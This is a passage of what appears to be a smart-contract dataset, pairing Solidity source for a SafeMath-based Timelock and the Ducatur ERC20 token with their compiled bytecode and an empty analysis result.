* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 3 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
admin_initialized = false;
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | 0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610631578063e177246e14610646578063f2b0653714610670578063f851a4401461069a576100e8565b80636fc1f57e146105de5780637d645fab14610607578063b1b43ae51461061c576100e8565b80633a66f901116100bb5780633a66f901146102ea5780634dd18bf514610449578063591fcdfe1461047c5780636a42b8f8146105c9576100e8565b80630825f38f146100ed5780630e18b681146102a257806326782247146102b9576100e8565b366100e857005b600080fd5b61022d600480360360a081101561010357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013257600080fd5b82018360208201111561014457600080fd5b803590602001918460018302840111600160201b8311171561016557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460018302840111600160201b831117156101ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106af915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026757818101518382015260200161024f565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102b7610baf565b005b3480156102c557600080fd5b506102ce610c4b565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b50610437600480360360a081101561030d57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561033c57600080fd5b82018360208201111561034e57600080fd5b803590602001918460018302840111600160201b8311171561036f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460018302840111600160201b831117156103f457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c5a915050565b60408051918252519081900360200190f35b34801561045557600080fd5b506102b76004803603602081101561046c57600080fd5b50356001600160a01b0316610f5c565b34801561048857600080fd5b506102b7600480360360a081101561049f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104ce57600080fd5b8201836020820111156104e057600080fd5b803590602001918460018302840111600160201b8311171561050157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561055357600080fd5b82018360208201111561056557600080fd5b803590602001918460018302840111600160201b8311171561058657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611051915050565b3480156105d557600080fd5b506104376112fe565b3480156105ea57600080fd5b506105f3611304565b604080519115158252519081900360200190f35b34801561061357600080fd5b5061043761130d565b34801561062857600080fd5b50610437611314565b34801561063d57600080fd5b5061043761131b565b34801561065257600080fd5b506102b76004803603602081101561066957600080fd5b5035611322565b34801561067c57600080fd5b506105f36004803603602081101561069357600080fd5b5035611417565b3480156106a657600080fd5b506102ce61142c565b6000546060906001600160a01b031633146106fb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114a16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610761578181015183820152602001610749565b50505050905090810190601f16801561078e5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107c15781810151838201526020016107a9565b50505050905090810190601f1680156107ee5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600490935291205490995060ff16975061085f96505050505050505760405162461bcd60e51b815260040180806020018281038252603d81526020018061162f603d913960400191505060405180910390fd5b8261086861143b565b10156108a55760405162461bcd60e51b81526004018080602001828103825260458152602001806115436045913960600191505060405180910390fd5b6108b2836212750061143f565b6108ba61143b565b11156108f75760405162461bcd60e51b81526004018080602001828103825260338152602001806115106033913960400191505060405180910390fd5b6000818152600460205260409020805460ff19169055845160609061091d5750836109a0565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109685780518252601f199092019160209182019101610949565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109df5780518252601f1990920191602091820191016109c0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a41576040519150601f19603f3d011682016040523d82523d6000602084013e610a46565b606091505b509150915081610a875760405162461bcd60e51b815260040180806020018281038252603d815260200180611712603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b04578181015183820152602001610aec565b50505050905090810190601f168015610b315780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b64578181015183820152602001610b4c565b50505050905090810190601f168015610b915780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bf85760405162461bcd60e51b815260040180806020018281038252603881526020018061166c6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610ca45760405162461bcd60e51b81526004018080602001828103825260368152602001806116dc6036913960400191505060405180910390fd5b610cb8600254610cb261143b565b9061143f565b821015610cf65760405162461bcd60e51b815260040180806020018281038252604981526020018061174f6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d5c578181015183820152602001610d44565b50505050905090810190601f168015610d895780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610dbc578181015183820152602001610da4565b50505050905090810190601f168015610de95780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610eb4578181015183820152602001610e9c565b50505050905090810190601f168015610ee15780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f14578181015183820152602001610efc565b50505050905090810190601f168015610f415780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60035460ff1615610faa57333014610fa55760405162461bcd60e51b81526004018080602001828103825260388152602001806116a46038913960400191505060405180910390fd5b611001565b6000546001600160a01b03163314610ff35760405162461bcd60e51b815260040180806020018281038252603b8152602001806115bc603b913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461109a5760405162461bcd60e51b81526004018080602001828103825260378152602001806114d96037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111005781810151838201526020016110e8565b50505050905090810190601f16801561112d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611160578181015183820152602001611148565b50505050905090810190601f16801561118d5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611258578181015183820152602001611240565b50505050905090810190601f1680156112855780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112b85781810151838201526020016112a0565b50505050905090810190601f1680156112e55780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62278d0081565b6203f48081565b6212750081565b3330146113605760405162461bcd60e51b81526004018080602001828103825260318152602001806117986031913960400191505060405180910390fd5b6203f4808110156113a25760405162461bcd60e51b81526004018080602001828103825260348152602001806115886034913960400191505060405180910390fd5b62278d008111156113e45760405162461bcd60e51b81526004018080602001828103825260388152602001806115f76038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611499576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220f732609f08e768c8265f95b84c3f961a33bfec76f45970ce1613479465c9c03e64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,177 |
0x506081cf642e89958a842108c74bc1045332186b | pragma solidity ^0.4.23;
/**
* Copyright (C) 2018 Ducatur, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Ducatur token
* @dev Mintable Burnable Pausable token with a token cap.
*/
contract DucaturToken is MintableToken, BurnableToken, PausableToken {
string public constant name = "Ducatur Token";
string public constant symbol = "DUCAT";
uint8 public constant decimals = 18;
uint256 public cap;
address public oracle;
event BlockchainExchange(
address indexed from,
uint256 value,
int newNetwork,
bytes32 adr
);
constructor(uint256 _cap, address _oracle) public {
require(_cap > 0);
cap = _cap * 10 ** uint256(decimals);
oracle = _oracle;
}
/**
* @dev Throws if called by any account other than the oracle.
*/
modifier onlyOracle() {
require(msg.sender == oracle);
_;
}
/**
* @dev Function to change oracle
* @param _oracle The address of new oracle.
*/
function changeOracle(address _oracle) external onlyOwner {
oracle = _oracle;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
onlyOracle
canMint
public
returns (bool)
{
_amount = _amount*10**uint256(decimals);
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
/**
* @dev Function to burn tokens and rise event for burn tokens in another network
* @param _amount The address that will receive the minted tokens.
* @param _network The amount of tokens to mint.
* @param _adr The address in new network
*/
function blockchainExchange(
uint256 _amount,
int _network,
bytes32 _adr
) public {
burn(_amount);
cap.sub(_amount);
emit BlockchainExchange(msg.sender, _amount, _network, _adr);
}
} | 0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014d57806306fdde0314610176578063095ea7b31461020057806318160ddd146102245780631dce79cf1461024b57806323b872dd1461026b578063313ce56714610295578063355274ea146102c05780633f4ba83a146102d557806340c10f19146102ea57806342966c681461030e57806347c421b5146103265780635c975abb14610347578063661884631461035c57806370a0823114610380578063715018a6146103a15780637d64bcb4146103b65780637dc0d1d0146103cb5780638456cb59146103fc5780638da5cb5b1461041157806395d89b4114610426578063a9059cbb1461043b578063d73dd6231461045f578063dd62ed3e14610483578063f2fde38b146104aa575b600080fd5b34801561015957600080fd5b506101626104cb565b604080519115158252519081900360200190f35b34801561018257600080fd5b5061018b6104db565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020c57600080fd5b50610162600160a060020a0360043516602435610512565b34801561023057600080fd5b5061023961053d565b60408051918252519081900360200190f35b34801561025757600080fd5b50610269600435602435604435610543565b005b34801561027757600080fd5b50610162600160a060020a03600435811690602435166044356105a8565b3480156102a157600080fd5b506102aa6105d5565b6040805160ff9092168252519081900360200190f35b3480156102cc57600080fd5b506102396105da565b3480156102e157600080fd5b506102696105e0565b3480156102f657600080fd5b50610162600160a060020a0360043516602435610659565b34801561031a57600080fd5b506102696004356106c3565b34801561033257600080fd5b50610269600160a060020a03600435166106d0565b34801561035357600080fd5b50610162610716565b34801561036857600080fd5b50610162600160a060020a0360043516602435610726565b34801561038c57600080fd5b50610239600160a060020a036004351661074a565b3480156103ad57600080fd5b50610269610765565b3480156103c257600080fd5b506101626107d3565b3480156103d757600080fd5b506103e0610857565b60408051600160a060020a039092168252519081900360200190f35b34801561040857600080fd5b50610269610866565b34801561041d57600080fd5b506103e06108e4565b34801561043257600080fd5b5061018b6108f3565b34801561044757600080fd5b50610162600160a060020a036004351660243561092a565b34801561046b57600080fd5b50610162600160a060020a036004351660243561094e565b34801561048f57600080fd5b50610239600160a060020a0360043581169060243516610972565b3480156104b657600080fd5b50610269600160a060020a036004351661099d565b60035460a060020a900460ff1681565b60408051808201909152600d81527f4475636174757220546f6b656e00000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561052c57600080fd5b6105368383610a32565b9392505050565b60015490565b61054c836106c3565b60045461055f908463ffffffff610a9816565b506040805184815260208101849052808201839052905133917f1bd4f3ccb033d46a13c7885d6d5b897221058f5192194fa797bd74e531dac56f919081900360600190a2505050565b60035460009060a860020a900460ff16156105c257600080fd5b6105cd848484610aaa565b949350505050565b601281565b60045481565b600354600160a060020a031633146105f757600080fd5b60035460a86002